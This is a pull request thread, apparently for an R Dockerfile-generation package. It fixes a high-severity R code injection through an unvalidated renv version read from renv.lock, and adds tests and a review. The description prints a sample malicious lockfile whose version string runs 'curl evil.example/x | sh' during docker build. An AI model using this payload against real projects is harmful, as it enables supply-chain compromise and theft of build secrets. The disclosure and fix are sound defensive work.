fix(security): validate the renv version resolved from the lockfile

[VincentGuyader]

Security fix — HIGH severity

Found by an internal security audit during 0.3.0 CRAN prep.

The bug

dock_from_renv() interpolates the renv package version into the generated Dockerfile line:

install_renv_string <- paste0(
  "R -e 'remotes::install_version(\"renv\", version = \"",
  renv_version,
  "\")'"
)
dock$RUN(install_renv_string)

.validate_renv_version() was only called when renv_version came from a user-supplied argument (R/dock_from_renv.R:187-189). The fallback path — renv_version <- lock$Packages$renv$Version — reads the value straight from the (untrusted) renv.lock and skipped validation entirely.

A crafted lockfile:

{"Packages": {"renv": {"Version": "1.0.0\"); system(\"curl evil.example/x | sh\"); (\""}}}

produces:

RUN R -e 'remotes::install_version("renv", version = "1.0.0"); system("curl evil.example/x | sh"); ("")'

docker build then executes system(...) as root in the build container — access to build secrets, ~/.ssh, network exfil, supply-chain poisoning of the produced image. The lockfile is a plausible attacker-controlled artifact (received from a colleague, a vendored project, a CI cache). Downstream packages (golem, AbSolution, shiny2docker) that call dock_from_renv() on an unaudited lockfile inherit the exposure.

The injection uses only " and R syntax, so the outer shell '...' quoting stays intact — .validate_lockfile / shell-metachar guards don't catch it.

This path predates 0.3.0 (it existed while the vendored {renv} parser was in use). The 0.3.0 shell-context hardening (#109) added .validate_renv_version() but only wired it to the user-supplied argument; this PR closes the lockfile-fallback gap.

The fix

Apply .validate_renv_version() to the resolved value regardless of source, right after the lockfile-resolution block:

if (missing(renv_version)) {
  renv_version <- lock$Packages$renv$Version
}
if (!is.null(renv_version)) {
  .validate_renv_version(renv_version)
}

The validator's existing regex ^[0-9]+(\.[0-9]+){0,3}([-.][a-zA-Z0-9]+)?$ already rejects ", ;, parens, whitespace — a benign lockfile (renv 1.0.0) still produces RUN R -e 'remotes::install_version("renv", version = "1.0.0")'.

Test (red-first)

tests/testthat/test-dock_from_renv.R: a lockfile whose Packages$renv$Version carries a system() payload must raise the renv_version validation error rather than reaching the Dockerfile.

• Red (verified against the unpatched function): no error raised, payload landed in the generated RUN line.
• Green (after the fix): .validate_renv_version() raises.

Full test suite: FAIL 0 | WARN 1 | SKIP 0 | PASS 153 (the WARN is a pre-existing rlang lifecycle deprecation from a dependency, unrelated). R CMD check: 0 errors / 0 warnings / 1 note (transient "unable to verify current time" host-clock NOTE, unrelated).

Scope confirmed complete

lock$Packages$renv$Version was the only untrusted lockfile field reaching a codegen shell sink without validation:

• lock$R$Version → .validate_r_version() is called (R/dock_from_renv.R:225) before it reaches the FROM directive.
• names(lock$Packages) → passed as a query to pak::pkg_sysreqs; only pak's curated Debian-package output reaches RUN, not the lockfile names. The lockfile's Source/Repository/RemoteRepos are consumed by renv::restore() inside the container, not interpolated by dockerfiler.

Test plan

• Red-first test fails against unpatched code for the right reason.
• Green after fix; benign lockfile (renv 1.0.0) regression passes.
• Full devtools::test(): 0 failures.
• R CMD check: 0/0/0 (one transient host NOTE).
• pr-reviewer agent: APPROVE, fix confirmed complete.
• Copilot review.
• Consider a GHSA advisory on merge (HIGH severity; never-released-with-the-gap, so a formal CVE is optional but a release-note advisory line is warranted).

NEWS

Added under ## Security in NEWS.md (0.3.0).

[VincentGuyader]

/copilot review

[Copilot]

Pull request overview

This PR closes a high-severity command-injection vector in dock_from_renv() by ensuring the renv package version read from renv.lock is validated before it is interpolated into an R -e ... Dockerfile RUN line.

Changes:

• Apply .validate_renv_version() to the resolved renv_version even when it comes from lock$Packages$renv$Version.
• Add a regression test that builds a malicious lockfile and asserts dock_from_renv() errors on renv_version.
• Document the security fix in NEWS.md.

Reviewed changes

Copilot reviewed 3 out of 3 changed files in this pull request and generated 1 comment.

File	Description
R/dock_from_renv.R	Validates lockfile-derived renv_version to prevent R code injection during Docker build.
tests/testthat/test-dock_from_renv.R	Adds a test ensuring malicious lockfile renv versions are rejected.
NEWS.md	Records the security fix in the 0.3.0 Security notes.

---

💡 Add Copilot custom instructions for smarter, more guided reviews. Learn how to get started.

[VincentGuyader]

Folded in the Copilot suggestion (and pr-reviewer's Finding 2): .validate_renv_version() is now called inside the if (missing(renv_version)) block right after the lockfile read, instead of unconditionally afterwards. The user-supplied path keeps its entry-point validation (L187-189); the lockfile-fallback path is validated where it's resolved; no more double-check on a known-good user value. Test suite still green (FAIL 0 / PASS 153). Force-pushed 228c270.

[VincentGuyader]

/copilot review

[VincentGuyader]

Force-pushed 6a278a3: tacked on a small validator-hardening tweak flagged by the security audit — .validate_r_version()'s X.Y.Z Patched branch now requires a single literal space instead of \\s (which in R also matches \\n / \\t). A lockfile with an embedded newline in R$Version would otherwise pass and emit a two-line FROM directive — not command injection, but a silent docker build breaker. Red-first tests added (.validate_r_version("4.5.0\\nPatched") / "...\\tPatched" must error). Suite: FAIL 0 / PASS 155 in the touched file. NEWS updated.

[VincentGuyader]

/copilot review